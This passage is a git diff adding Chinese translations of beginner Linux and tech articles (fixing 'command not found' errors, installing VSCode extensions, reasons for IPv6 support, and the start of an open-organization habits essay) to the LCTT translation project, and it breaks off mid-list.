+选题:[lujun9972][b] +译者:[cool-summer-021](https://github.com/cool-summer-021) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/rkpattnaik780 +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_web_internet_website.png?itok=g5B_Bw62 (Digital creative of a browser on the internet) +[2]: https://en.wikipedia.org/wiki/Document_Object_Model +[3]: https://openweathermap.org/api +[4]: http://api.openweathermap.org/data/2.5/weather?lat=${this.latitude}\&lon=${this.longitude}\&appid=API\_KEY\` +[5]: https://gist.github.com/rkpattnaik780/acc683d3796102c26c1abb03369e31f8 +[6]: https://opensource.com/sites/default/files/uploads/webcomponent.png (Web component displayed in a browser) +[7]: https://creativecommons.org/licenses/by-sa/4.0/ +[8]: https://create-react-app.dev/docs/getting-started/ diff --git a/published/202210/20210929 Troubleshooting -Bash- Command Not Found- Error in Linux.md b/published/202210/20210929 Troubleshooting -Bash- Command Not Found- Error in Linux.md new file mode 100644 index 0000000000..b9fee2a03b --- /dev/null +++ b/published/202210/20210929 Troubleshooting -Bash- Command Not Found- Error in Linux.md @@ -0,0 +1,160 @@ +[#]: subject: "Troubleshooting “Bash: Command Not Found” Error in Linux" +[#]: via: "https://itsfoss.com/bash-command-not-found/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15164-1.html" + +解决 Linux 中的 “Bash: Command Not Found” 报错 +====== + +> 本新手教程展示了在 Debian、Ubuntu 和其他的 Linux 发行版上如何解决 “Bash: command not found” 这一报错。 + +当你在 Linux 中使用命令时,你希望得到终端输出的结果。但有时候,你会遇到终端显示“命令未找到command not found”这一报错。 + +![][1] + +对于这个问题,并没有直截了当且单一的解决方案。你必须自己做一些故障排除来解决这个报错。 + +老实说,要解决它并不难。该报错信息已经给出了一些提示:“命令未找到”,这说明你的 shell(或者 Linux 系统)找不到你输入的那条命令。 + +shell(或 Linux 系统)找不到命令,有三个可能的原因: + + * 你将命令的名称拼错了 + * 该命令还没有安装 + * 该命令是一个可执行脚本,但其位置未知 + +接下来,我们会详细介绍“命令未找到”这一报错的每一个原因。 + +### 解决“命令未找到”报错 + +![][2] + +#### 方法 1:再次检查命令名称有没有写错 + +每个人都会犯错误,尤其是在打字的时候。你输入的命令可能存在错别字(也就是你写错啦)。 + +你应该特别注意: + + * 是否拼对了正确的命令名称 + * 是否在命令与其选项之间加上了空格 + * 是否在拼写中混淆了 1(数字 1)、I(大写的 i)和 l(小写的 L) + * 是否正确使用了大写字母或者小写字母 + +看看下面的示例,因为我写错了 `ls` 命令,所以会导致“command not found”报错。 + +![][3] + +所以,请再次仔细确认你输入得对不对。 + +#### 方法 2:确保命令已安装在你的系统上 + +这是“命令未找到”错误的另一个常见原因。如果命令尚未安装,则无法运行该命令。 + +虽然在默认情况下,你的 Linux 发行版自带安装了大量命令,但是不会在系统中预装 _所有的_ 命令行工具。如果你尝试运行的命令不是一个流行的常用命令,那么你需要先安装它。 + +你可以使用发行版的软件包管理器来安装命令。 + +![You may have to install the missing command][4] + +有时候,某一常用命令可能也不再能使用了,甚至你也不能够安装这个命令了。这种情况下,你需要找到一个替代的命令,来得到结果。 + +以现已弃用的 `ifconfig` 命令为例。网络上的旧教程依旧会让你使用 `ifconfig` 命令,来 [获取本机的 IP 地址][5] 和网络接口信息,但是,在较新的 Linux 版本中,你已经无法使用 `ifconfig` 了。`ifconfig` 命令已被 `ip` 命令所取代。 + +![Some popular commands get discontinued over the time][1] + +有时候,你的系统可能甚至找不到一些非常常见的命令。当你在 Docker 容器中运行 Linux 发行版时,就通常如此。Docker 容器为了缩小操作系统镜像的大小,容器中通常不包含那些常见的 Linux 命令。 + +这就是为什么使用 Docker 的用户会碰到 [ping 命令未找到][6] 等报错的原因。 + +![Docker containers often have only a few commands installed][7] + +因此,这种情况下的解决方案是安装缺失的命令,或者是找到一个与缺失命令有同等功能的工具。 + +### 方法 3:确保命令是真实的,而不是一个别名 + +我希望你知道 Linux 中的别名概念。你可以配置你自己的较短的命令来代替一个较长命令的输入。 + +一些发行版,如 Ubuntu,会自动提供 `ll`(`ls -l` 的别名)、`la`(`ls -a` 的别名)等命令。 + +![][13] + +想象一下,你习惯于在你的个人系统上输入 `ll` 和 `la`,而你登录到另一个 Linux 系统,发现 `ll` 命令并不存在。你甚至不能安装 `ll` 命令,因为它不是一个真正的命令。 + +所以,如果你找不到一个命令,甚至不能安装,你应该尝试在互联网上搜索该命令是否存在。如果不存在,可能是其他系统上的一个别名。 + +#### 方法 4:检查命令是否是一个路径正确的可执行脚本 + +这是 Linux 新手在 [运行 shell 脚本][8] 时常犯的错误。 + +即使你在同一目录下,仅用可执行脚本的名称,来运行可执行脚本,也会显示错误。 + +``` +[email protected]:~/scripts# sample +-bash: sample: command not found +``` + +因为你需要显式指定 shell 解释器或可执行脚本的路径! + +![][9] + +如果你在其他目录下,在未提供文件正确路径的情况下,运行 shell 脚本,则会有“找不到文件no such file or directory”的报错。 + +![][10] + +> **把可执行文件的路径加到 PATH 变量中** +> +> 有时候,你下载了一个软件的压缩文件(tar 格式),解压这个 tar 文件,然后找到一个可执行文件和其他程序文件。你需要运行可执行文件,来运行那个软件。 +> +> 但是,你需要在可执行文件的同一目录下或指定可执行文件的整个路径,才能运行那个可执行文件。这很令人烦扰。 +> +> 你可以使用 `PATH` 变量来解决这个问题。`PATH` 变量包含了有各种 Linux 命令的二进制(可执行)文件的目录集合。当你运行一个命令时,你的 Linux 系统会检查 `PATH` 变量中的上述目录,以查找该命令的可执行文件。 +> +> 你可以使用 `which` 命令,来检查某一命令的二进制文件的位置: +> +> ![][11] +> +> 如果你想从系统上的任何地方都能运行可执行文件或脚本,你需要将可执行文件的位置添加到 `PATH` 变量中。 +> +> ![][12] +> +> 然后,`PATH` 变量需要添加到 shell 的 rc 文件中,如此对 `PATH` 变量的更改就是永久性的。 +> +> 这里的要点是:你的 Linux 系统必须了解可执行脚本的位置。要么在运行时给出可执行文件的整个路径,要么将其位置添加到 `PATH` 变量中。 + +### 以上的内容有帮到你吗? + +我懂得,当你是 Linux 新手时,很多事情可能会让你不知所措。但是,当你了解问题的根本原因时,你的知识会逐渐增加。 + +对于“未找到命令”报错来说,没有简单的解决方案。我提供给你了一些提示和要点,我希望这对你的故障排除有帮助。 + +如果你仍然有疑问或需要帮助,请在评论区告诉我吧。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/bash-command-not-found/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/bash-command-not-found-error.png?resize=741%2C291&ssl=1 +[2]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/bash-command-not-found-error-1.png?resize=800%2C450&ssl=1 +[3]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/09/command-not-found-error.png?resize=723%2C234&ssl=1 +[4]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/09/command-not-found-debian.png?resize=741%2C348&ssl=1 +[5]: https://itsfoss.com/check-ip-address-ubuntu/ +[6]: https://linuxhandbook.com/ping-command-ubuntu/ +[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/ping-command-not-found-ubuntu.png?resize=786%2C367&ssl=1 +[8]: https://itsfoss.com/run-shell-script-linux/ +[9]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/bash-script-command-not-found-error-800x331.png?resize=800%2C331&ssl=1 +[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/script-file-not-found-error-800x259.png?resize=800%2C259&ssl=1 +[11]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/09/path-location.png?resize=800%2C241&ssl=1 +[12]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/09/adding-executable-to-PATH-variable-linux.png?resize=800%2C313&ssl=1 +[13]: https://itsfoss.com/wp-content/uploads/2022/01/alias-in-ubuntu.png \ No newline at end of file diff --git a/published/202210/20211022 How to Install Visual Studio Code Extensions.md b/published/202210/20211022 How to Install Visual Studio Code Extensions.md new file mode 100644 index 0000000000..56bcacc1af --- /dev/null +++ b/published/202210/20211022 How to Install Visual Studio Code Extensions.md @@ -0,0 +1,144 @@ +[#]: subject: "How to Install Visual Studio Code Extensions" +[#]: via: "https://itsfoss.com/install-vs-code-extensions/" +[#]: author: "Pratham Patel https://itsfoss.com/author/pratham/" +[#]: collector: "lujun9972" +[#]: translator: "CoWave-Fall" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15100-1.html" + +如何安装 VSCode 扩展 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/02/232225yzgzrymdrepj2mpa.jpg) + +> 通过图形界面和命令行两种方法,了解如何在 VSCode 中搜索和安装扩展。 + +微软的 [Visual Studio Code][1](VSCode)可能是最流行的 [开源代码编辑器][2],仅次于 Vim(当然)。 + +VSCode 通过提供几乎所有类似 IDE 的功能,提供了令人惊叹的“开箱即用”体验。 但总有一些事情是你希望 VSCode 能够另外做到的。_正所谓“邻家芳草绿,隔岸风景好”_ : ) + +你可以在 Visual Studio Code [市场][3]Marketplace 找到 VSCode 扩展插件。在 VSCode 市场上发布的扩展插件在发布之前会进行病毒扫描,所以这些扩展可以 [信任][4]。 + +### 在 VSCode 中安装扩展插件 + +你不需要访问 VSCode 市场Marketplace 网站就可以安装扩展插件。也就是说,你可以直接从 VSCode 本身安装和管理扩展插件。 + +我希望你已经在你使用的操作系统(比如 [在 Linux][5])上 安装了 VSCode。 + +打开 VSCode,最左侧是活动栏。活动栏上的最后一个按钮就是“扩展”按钮。点击它之后你会看到大量可安装的扩展。 + +![访问 VSCode 中的扩展选项卡][6] + +你也可以按快捷键组合 `Ctrl + Shift + X` 来启动扩展栏的侧面面板。 + +如果你还没有安装任何扩展的话,你会看到 VSCode 市场上最流行的扩展列表。 + +#### 找到并安装某个扩展(图形界面方法) + +现在是时候尝试一下 Linux 人谈论的 `vim` 了(鼓动的语气); ) + +开玩笑啦。让我们安装一些对我们初学者更友好,可以轻松使用而且无需太多练习的扩展吧。 + +从最流行的扩展列表中单击 “Visual Studio IntelliCode” (①)扩展。 + +![如何安装 Visual Studio IntelliCode 等扩展][7] + +点击 “安装Install” 按钮(②)即可安装 “Visual Studio IntelliCode” 扩展。这个扩展会在你编写代码时为你提供 AI 预测的建议。 + +安装后,你可以充分利用此扩展。试试用你喜欢的编程语言输入一段代码,然后看看 AI 的自动完成功能是否顺利运行而且没有拖慢你的工作进程。 + +![在 Visual Studio Code 中管理已安装的扩展][8] + +如果你不喜欢某个已安装的扩展插件,你只需单击 “卸载Uninstall” 按钮(②)即可完全删除不需要的扩展插件。 + +如果你安装了多个扩展插件,并且你觉得其中某个扩展插件给你带来了问题——比如说突然崩溃;你只需点击 “禁用Disable” 按钮(①)即可禁用一个(或多个)扩展插件,并检查扩展插件 _甲_ 是否在起作用,或者它是扩展插件 _乙_,还是完全不同的东西。 + +考虑到扩展删除和重新安装需要很长时间,当你安装了多个扩展时,禁用扩展会很方便。 + +#### 另外方法:使用终端安装扩展 + +你知道你可以从终端安装 VSCode 扩展吗?不过,现在你知道了! + +要从你的终端安装扩展程序,你需要知道扩展程序名称和发布者名称,再按照 `发布者名称.扩展程序名称` 的顺序找到它。比如说,如果你想安装 “Visual Studio IntelliCode” 这个扩展(前面提到的),它的名称就是 `VisualStudioExptTeam.vscodeintellicode`。 + +要找出扩展用于标识的唯一名称(ID),首先要在你的浏览器中 [访问 VSCode 市场][9]。 + +![VSCode 市场的截图][10] + +然后搜索某个扩展,在本教程中,我将以安装 “Visual Studio IntelliCode” 这个扩展为例。下一步,打开你要安装的扩展程序的页面。 + +![搜索Visual Studio IntelliCode并打开扩展网页][11] + +打开扩展程序的网页后,你将看到一个代码块。下面的截图突出标示了扩展程序的 ID。 + +![VSCode 扩展的 ID][12] + +一旦你有了想要安装的扩展的 ID —— 在这种情况下是 `VisualStudioExptTeam.vscodeintellicode`,你可以通过在终端中运行以下命令来继续。 + +``` +code --install-extension VisualStudioExptTeam.vscodeintellicode +``` + +与图形界面一样,命令行界面也允许你安装、禁用、删除和管理扩展。 + +可以通过运行以下命令查看已安装的所有扩展的列表。 + +``` +code --list-extensions +``` + +要禁用单个扩展,请运行以下命令: + +``` +code --disable-extension <在这里输入扩展的ID> +``` + +如果要禁用所有扩展,可以运行以下命令: + +``` +code --disable-extensions +``` + +上述命令将禁用 **所有** 已安装的扩展。这将帮助你判断导致问题的是插件,还是 VSCode 本身。 + +现在,如果你想完全删除任何某个扩展,请运行以下命令: + +``` +code --uninstall-extension <在这里输入扩展的ID> +``` + +### 总结 + +我发现使用 VSCode 安装扩展要容易得多。毕竟,它直接在我编辑器左边的侧栏中。 + +一旦你对 VSCode 的操作得心应手,也许可以看看这篇文章,[VSCode 实用快捷键][13] 可能会帮助你提高工作效率! + +写代码顺利,新朋友! : ) + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-vs-code-extensions/ + +作者:[Pratham Patel][a] +选题:[lujun9972][b] +译者:[泠知落汐](https://github.com/CoWave-Fall) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/pratham/ +[b]: https://github.com/lujun9972 +[1]: https://code.visualstudio.com/ +[2]: https://itsfoss.com/best-modern-open-source-code-editors-for-linux/ +[3]: https://marketplace.visualstudio.com/VSCode +[4]: https://code.visualstudio.com/docs/editor/extension-marketplace#_can-i-trust-extensions-from-the-marketplace +[5]: https://itsfoss.com/install-visual-studio-code-ubuntu/ +[6]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/01-all-extensions-1.webp?resize=800%2C450&ssl=1 +[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/02-select-intellicode-1.webp?resize=800%2C450&ssl=1 +[8]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/03-intellicode-installation-done-1.webp?resize=800%2C450&ssl=1 +[9]: https://marketplace.visualstudio.com/ +[10]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/visual_studio_code_marketplace.webp?resize=800%2C450&ssl=1 +[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/visual_stuido_code_ext_search.webp?resize=800%2C450&ssl=1 +[12]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/vs_code_extension_identifier.webp?resize=800%2C450&ssl=1 +[13]: https://itsfoss.com/vs-code-shortcuts/ diff --git a/published/202210/20220129 Reasons for servers to support IPv6.md b/published/202210/20220129 Reasons for servers to support IPv6.md new file mode 100644 index 0000000000..fc9ec8ecdd --- /dev/null +++ b/published/202210/20220129 Reasons for servers to support IPv6.md @@ -0,0 +1,182 @@ +[#]: subject: "Reasons for servers to support IPv6" +[#]: via: "https://jvns.ca/blog/2022/01/29/reasons-for-servers-to-support-ipv6/" +[#]: author: "Julia Evans https://jvns.ca/" +[#]: collector: "lujun9972" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15142-1.html" + +服务器支持 IPv6 的原因 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/15/155046v94vbmo5imykfkxz.jpg) + +我一直在努力学习关于 IPv6 的相关知识。一方面,IPv6 的基础概念是很简单的(没有足够的 IPv4 地址可以满足互联网上的所有设备,所以人们发明了 IPv6!每个人都能有足够的 IPv6 地址!) + +但是当我试图进一步理解它时,我遇到了很多问题。其中一个问题是:为什么 twitter.com 不支持 IPv6。假设,网站不支持 IPv6 并不会造成很多困难,那么为什么网站需要支持 IPv6 呢? + +我在 Twitter 上询问了很多人 [为什么他们的服务器支持 IPv6][1],我得到了很多很好的答案,我将在这里总结一下。事先说明一下,因为我对 IPv6 基本上毫无经验,所以下面所总结的理由中可能会有写得不准确的地方,请大家多多包涵。 + +首先,我想解释一下为什么 twitter.com 可以不支持 IPv6,因为这是最先让我困惑的地方。 + +### 怎么知道 twitter.com 不支持 IPv6 呢? + +你可以使用 `dig` 命令以 `AAAA` 的选项查询某一个域名的 IPv6 地址记录,如果没有记录,则表明该域名不支持 IPv6。除了 twitter.com,还有一些大型网站,如 github.com 和 stripe.com 也不支持 IPv6。 + +``` +$ dig AAAA twitter.com +(empty response) +$ dig AAAA github.com +(empty response) +$ dig AAAA stripe.com +(empty response) +``` + +### 为什么 twitter.com 仍然适用于 IPv6 用户? + +我发现这真的很令人困惑。我一直听说因为 IPv4 地址已经用完了,从而很多互联网用户被迫要使用 IPv6 地址。但如果这是真的,twitter.com 怎么能继续为那些没有 IPv6 支持的人提供服务呢?以下内容是我昨天从 Twitter 会话中学习到的。 + +互联网服务提供商(ISP)有两种: + + 1. 能为所有用户拥有足够 IPv4 地址的 ISP + 2. 不能为所有用户拥有足够 IPv4 地址的 ISP + +我的互联网服务提供商属于第 1 类,因此我的计算机有自己的 IPv4 地址,实际上我的互联网服务提供商甚至根本不支持 IPv6。 + +但是很多互联网服务提供商(尤其是北美以外的)都属于第 2 类:他们没有足够的 IPv4 地址供所有用户使用。这些互联网服务提供商通过以下方式处理问题: + + * 为所有用户提供唯一的 IPv6 地址,以便他们可以直接访问 IPv6 网站 + * 让用户 _共享_ IPv4 地址,这可以使用 CGNAT(“[运营商级 NAT][2]carrier-grade NAT”)或者“464XLAT”或其他方式。 + +所有互联网服务提供商都需要 _一些_ IPv4 地址,否则他们的用户将无法访问 twitter.com 等只能使用 IPv4 的网站。 + +### 为什么网站要支持 IPv6? + +现在,我们已经解释了为什么可以 _不支持_ IPv6。那为什么要支持 IPv6 呢?有下面这些原因。 + +#### 原因一:CGNAT 是一个性能瓶颈 + +对我而言,支持 IPv6 最有说服力的论点是:CGNAT 是一个瓶颈,它会导致性能问题,并且随着对 IPv4 地址的访问变得越来越受限,它的性能会变得更糟。 + +有人也提到:因为 CGNAT 是一个性能瓶颈,因此它成为了一个有吸引力的拒绝服务攻击(DDoS)的目标,因为你可以通过攻击一台服务器,影响其他用户对该服务器的网站的可用性。 + +支持 IPv6 的服务器减少了对 CGNAT 的需求(IPv6 用户可以直接连接!),这使得互联网对每个人的响应速度都更快了。 + +我认为这个论点很有趣,因为它需要各方的努力——仅仅你的网站支持 IPv6,并不会让你的网站更好地运行,而更重要的是如果 _几乎每个网站_ 都支持 IPv6,那么它将使每个人的互联网体验更好,尤其对于那些无法轻松访问 IPv4 地址的国家/地区。 + +实际上,我不知道这在实践中会有多大的关系。 + +不过,使用 IPv6 还有很多更自私的论点,所以让我们继续探讨吧。 + +#### 原因二:只能使用 IPv6 的服务器也能够访问你的网站 + +我之前说过,大多数 IPv6 用户仍然可以通过 NAT 方式访问 IPv4 的网站。但是有些 IPv6 用户是不能访问 IPv4 网站的,因为他们发现他们运行的服务器只有 IPv6 地址,并且不能使用 NAT。因此,这些服务器完全无法访问只能使用 IPv4 的网站。 + +我想这些服务器并没有连接很多主机,也许它们只需要连接到一些支持 IPv6 的主机。 + +但对我来说,即使没有 IPv4 地址,一台主机也应该能够访问我的站点。 + +#### 原因三:更好的性能 + +对于同时使用 IPv4 和 IPv6(即具有专用 IPv6 地址和共享 IPv4 地址)的用户,IPv6 通常更快,因为它不需要经过额外的 NAT 地址转换。 + +因此,有时支持 IPv6 的网站可以为用户提供更快的响应。 + +在实际应用中,客户端使用一种称为“Happy Eyeballs”的算法,该算法能够从 IPv4 和 IPv6 中为用户选择一个最快的链接。 + +以下是网站支持 IPv6 的一些其他性能优势: + + * 使用 IPv6 可以提高搜索引擎优化(SEO),因为 IPv6 具有更好的性能。 + * 使用 IPv6 可能会使你的数据包通过更好(更快)的网络硬件,因为相较于 IPv4,IPv6 是一个更新的协议。 + +#### 原因四:能够恢复 IPv4 互联网中断 + +有人说他碰到过由于意外的 BGP 中毒,而导致仅影响 IPv4 流量的互联网中断问题。 + +因此,支持 IPv6 的网站意味着在中断期间,网站仍然可以保持部分在线。 + +#### 原因五:避免家庭服务器的 NAT 问题 + +将 IPv6 与家庭服务器一起使用,会变得简单很多,因为数据包不必通过路由器进行端口转发,因此只需为每台服务器分配一个唯一的 IPv6 地址,然后直接访问服务器的 IPv6 地址即可。 + +当然,要实现这一点,客户端需要支持 IPv6,但如今越来越多的客户端也能支持 IPv6 了。 + +#### 原因六:为了拥有自己的 IP 地址 + +你也可以自己购买 IPv6 地址,并将它们用于家庭网络的服务器上。如果你更换了互联网服务提供商,可以继续使用相同的 IP 地址。 + +我不太明白这是如何工作的,是如何让互联网上的计算机将这些 IP 地址路由转发给你的?我猜测你需要运行自己的自治系统(AS)或其他东西。 + +#### 原因七:为了学习 IPv6 + +有人说他们在安全领域中工作,为保证信息安全,了解互联网协议的工作原理非常重要(攻击者正在使用互联网协议进行攻击!)。因此,运行 IPv6 服务器有助于他们了解其工作原理。 + +#### 原因八:为了推进 IPv6 + +有人说因为 IPv6 是当前的标准,因此他们希望通过支持 IPv6 来为 IPv6 的成功做出贡献。 + +很多人还说他们的服务器支持 IPv6,是因为他们认为只能使用 IPv4 的网站已经太“落后”了。 + +#### 原因九:IPv6 很简单 + +我还得到了一堆“使用 IPv6 很容易,为什么不用呢”的答案。在所有情况下添加 IPv6 支持并不容易,但在某些情况下添加 IPv6 支持会是很容易的,有以下的几个原因: + + * 你可以从托管公司自动地获得 IPv6 地址,因此你只需要做的就是添加指向该地址的 `AAAA` 记录 + * 你的网站是基于支持 IPv6 的内容分发网络(CDN),因此你无需做任何额外的事情 + +#### 原因十:为了实施更安全的网络实验 + +因为 IPv6 的地址空间很大,所以如果你想在网络中尝试某些东西的时候,你可以使用 IPv6 子网进行实验,基本上你之后不会再用到这个子网了。 + +#### 原因十一:为了运行自己的自治系统(AS) + +也有人说他们为了运行自己的自治系统(我在这篇 [BGP 帖子][3] 中谈到了什么是 AS),因此在服务器中提供 IPv6。IPv4 地址太贵了,所以他们为运行自治系统而购买了 IPv6 地址。 + +#### 原因十二:IPv6 更加安全 + +如果你的服务器 _只_ 有公共的 IPv6 地址,那么攻击者扫描整个网络,也不能轻易地找出你的服务器地址,这是因为 IPv6 地址空间太大了以至于不能扫描出来! + +这显然不能是你仅有的安全策略,但是这是安全上的一个大大的福利。每次我运行 IPv4 服务器时,我都会惊讶于 IPv4 地址一直能够被扫描出来的脆弱性,就像是老版本的 WordPress 博客系统那样。 + +#### 一个很傻的理由:你可以在你的 IPv6 地址中放个小彩蛋 + +IPv6 地址中有很多额外的位,你可以用它们做一些不重要的事情。例如,Facebook 的 IPv6 地址之一是“2a03:2880:f10e:83:face:b00c:0:25de”(其中包含 `face:b00c`)。 + +### 理由还有很多 + +这就是到目前为止我所了解的“为什么支持 IPv6?”的理由。 + +在我理解这些原因后,相较于以前,我在我的(非常小的)服务器上支持 IPv6 更有动力了。但那是因为我觉得支持 IPv6,对我来说只需要很少的努力。(现在我使用的是支持 IPv6 的 CDN,所以我基本上不用做什么额外的事情) + +我仍然对 IPv6 知之甚少,但是在我的印象中,支持 IPv6 并不是不需要花费精力的,实际上可能需要大量工作。例如,我不知道 Twitter 在其边缘服务器上添加 IPv6 支持需要做多少繁杂的工作。 + +### 其它关于 IPv6 的问题 + +这里还有一些关于 IPv6 的问题,也许我之后再会探讨: + + * 支持 IPv6 的缺点是什么?什么会出错呢? + * 对于拥有了足够 IPv4 地址的 ISP 来说,有什么让他们提供 IPv6 的激励措施?(另一种问法是:我的 ISP 是否有可能在未来几年内转为支持 IPv6?或者他们可能不会支持 IPv6?) + * [Digital Ocean][4] (LCTT 译注:一家建立于美国的云基础架构提供商,面向软件开发人员提供虚拟专用服务器(VPS))只提供 IPv4 的浮动地址,不提供 IPv6 的浮动地址。为什么不提供呢?有更多 IPv6 地址,那提供 IPv6 的浮动地址不是变得更 _便捷_ 吗? + * 当我尝试 ping IPv6 地址时(例如 example.com 的 IP 地址`2606:2800:220:1:248:1893:25c8:1946`),我得到一个报错信息 `ping: connect: Network is unreachable`。这是为什么呢?(回答:因为我的 ISP 不支持 IPv6,所以我的电脑没有公共 IPv6 地址) + +这篇 [来自 Tailscale 的 IPv4 与 IPv6 文章][5] 非常有意思,并回答了上述的一些问题。 + +-------------------------------------------------------------------------------- + +via: https://jvns.ca/blog/2022/01/29/reasons-for-servers-to-support-ipv6/ + +作者:[Julia Evans][a] +选题:[lujun9972][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jvns.ca/ +[b]: https://github.com/lujun9972 +[1]: https://twitter.com/b0rk/status/1487156306884636672 +[2]: https://en.wikipedia.org/wiki/Carrier-grade_NAT +[3]: https://jvns.ca/blog/2021/10/05/tools-to-look-at-bgp-routes/ +[4]: https://docs.digitalocean.com/products/networking/floating-ips/ +[5]: https://tailscale.com/kb/1134/ipv6-faq/ diff --git a/published/202210/20220616 Using habits to practice open organization principles.md b/published/202210/20220616 Using habits to practice open organization principles.md new file mode 100644 index 0000000000..d549c013a5 --- /dev/null +++ b/published/202210/20220616 Using habits to practice open organization principles.md @@ -0,0 +1,141 @@ +[#]: subject: "Using habits to practice open organization principles" +[#]: via: "https://opensource.com/open-organization/22/6/using-habits-practice-open-organization-principles" +[#]: author: "Ron McFarland https://opensource.com/users/ron-mcfarland" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15182-1.html" + +利用习惯练习开放式组织原则 +====== + +> 你可以按照以下步骤,来养成符合开放文化的习惯,并改掉那些不符合开放文化的习惯。 + +![Selfcare, drinking tea on the porch][1] + +很久以来,我就对习惯很感兴趣。几年前,我做了一次关于习惯利弊的演讲,并且介绍了如何改变坏习惯、养成好习惯。不久前,我阅读了 Art Markman 教授的 《Smart Thinking》一书,这本书主要讨论的也是习惯。或许你会问习惯与 [开放式组织的原则][2] 有什么关系?这其中有一定的联系!我将会分成两篇文章,来解释你可以如何管理你的习惯。 + +在本文中,我们将讨论习惯如何工作的,以及更重要的是你如何去开始改变你的习惯。在下一篇文章中,我们将回顾 Markman 教授在他书中所表达的思想。 + +### 开放式组织原则和习惯的交集 + +设想你学习过开放式组织的原则,尽管你认为它们很有趣并且很有价值,但是你还没有对这些原则形成自己的习惯。以下就是你现实中会表现出来的样子。 + +社区:如果你面对一项重要挑战,但是你不知道如何独自解决它,你很有可能会由于习惯而放弃这项挑战。养成与由志同道合的人组成的社区,共同解决问题的习惯,不是更好吗? + +协作:假设你认为你不善于合作,你喜欢独立完成任务。你知道有一些需要合作才能完成的事情,但是你并没有参与合作的习惯。为了弥补这种情况,你必须养成与他人更多合作的习惯。 + +信息共享:假如说你喜欢将你所做的事以及所知道的东西当作秘密。但是,你知道如果你不共享信息,你也无法从他人那里获取有用的信息。因此,你必须拥有共享信息的习惯。 + +包容性:想象一下,你与你不熟悉的人,或者是在个性、文化还是语言上都与你不同的人一起工作,你会感到不自在。但是,你知道如果你想要成功的话,你必须要和各种各样的人一同工作。那你该如何培养包容的习惯呢? + +适应能力:假设当你所做的事情不再能达到你所希望的结果之后,你往往会拒绝改变。但是,你知道你必须适应这种情况,并重新调整你的努力,那你如何才能养成适应的习惯呢? + +### 习惯是什么? + +在我给出关于上述开放式组织原则的示例之前,我想先解释一下习惯的一些相关特征。 + +* 习惯是重复很多次的行为,最终习惯会成为你下意识的行为。 +* 习惯是自动的并且当时会感觉良好。当一个人在养成习惯后,做习惯行为会使他感觉很好,但是当他跳出习惯做事时,会感到不舒服。或许之后他会再次考虑尝试。 +* 一些习惯是有益的,并且能够节省你很多的能量。大脑只占身体质量的 2%,但是却会消耗 20% 的能量。因为大脑在思考和集中精力上需要消耗很多能量,你可以通过培养下意识的习惯来节省能量。 +* 一些习惯对你有害,因此你渴望改变这些坏习惯。 +* 所有的习惯都会给你回报,即使回报是短暂的。 +* 习惯是基于你熟悉的事情和你知道的东西而形成的,即使你可能并不一定需要这个习惯。 + +### 养成习惯的 3 个步骤 + +1. 提示(触发器):首先,提示或者触发器会告诉大脑,进入之前学习的习惯性行为的自动模式之中。这里的提示可以是某件事,比如每天在确定的时间点、在确定的地点,看到一包糖果或者看到电视购物节目,亦或者看到某个特定的人。时间压力会触发你去做例行事项(routine)。在令人崩溃的环境下也会触发例行事项。简而言之,某件事提醒你开始做一些固定的事情。 +2. 例行事项routine:例行事项会被触发。一个例行事项是一系列的身体、心理或者情绪上的表现,可以是非常复杂的,也可以十分简单。诸如与心情相关的一些习惯可以在很短时间内被触发。 +3. 奖励:最后一步是奖励,奖励会帮助你的大脑计算一个特定的行为是否值得记住。奖励的范围很广泛,可以是食物或者其他令你感到快乐的东西。 + +### 商业环境中的坏习惯 + +习惯不仅仅是个人行为。所有的组织或多或少都有一些好的坏的制度习惯。然而,一些组织会有先见之明地设计好他们的习惯,而其他组织却不会设计习惯,只是随着竞争或者担心落伍而演变。以下是一些组织的坏习惯示例: + +* 总是晚提交报告 +* 单独工作或者分组合作,然而采用相反的方法才合适 +* 上级对下级施压很大 +* 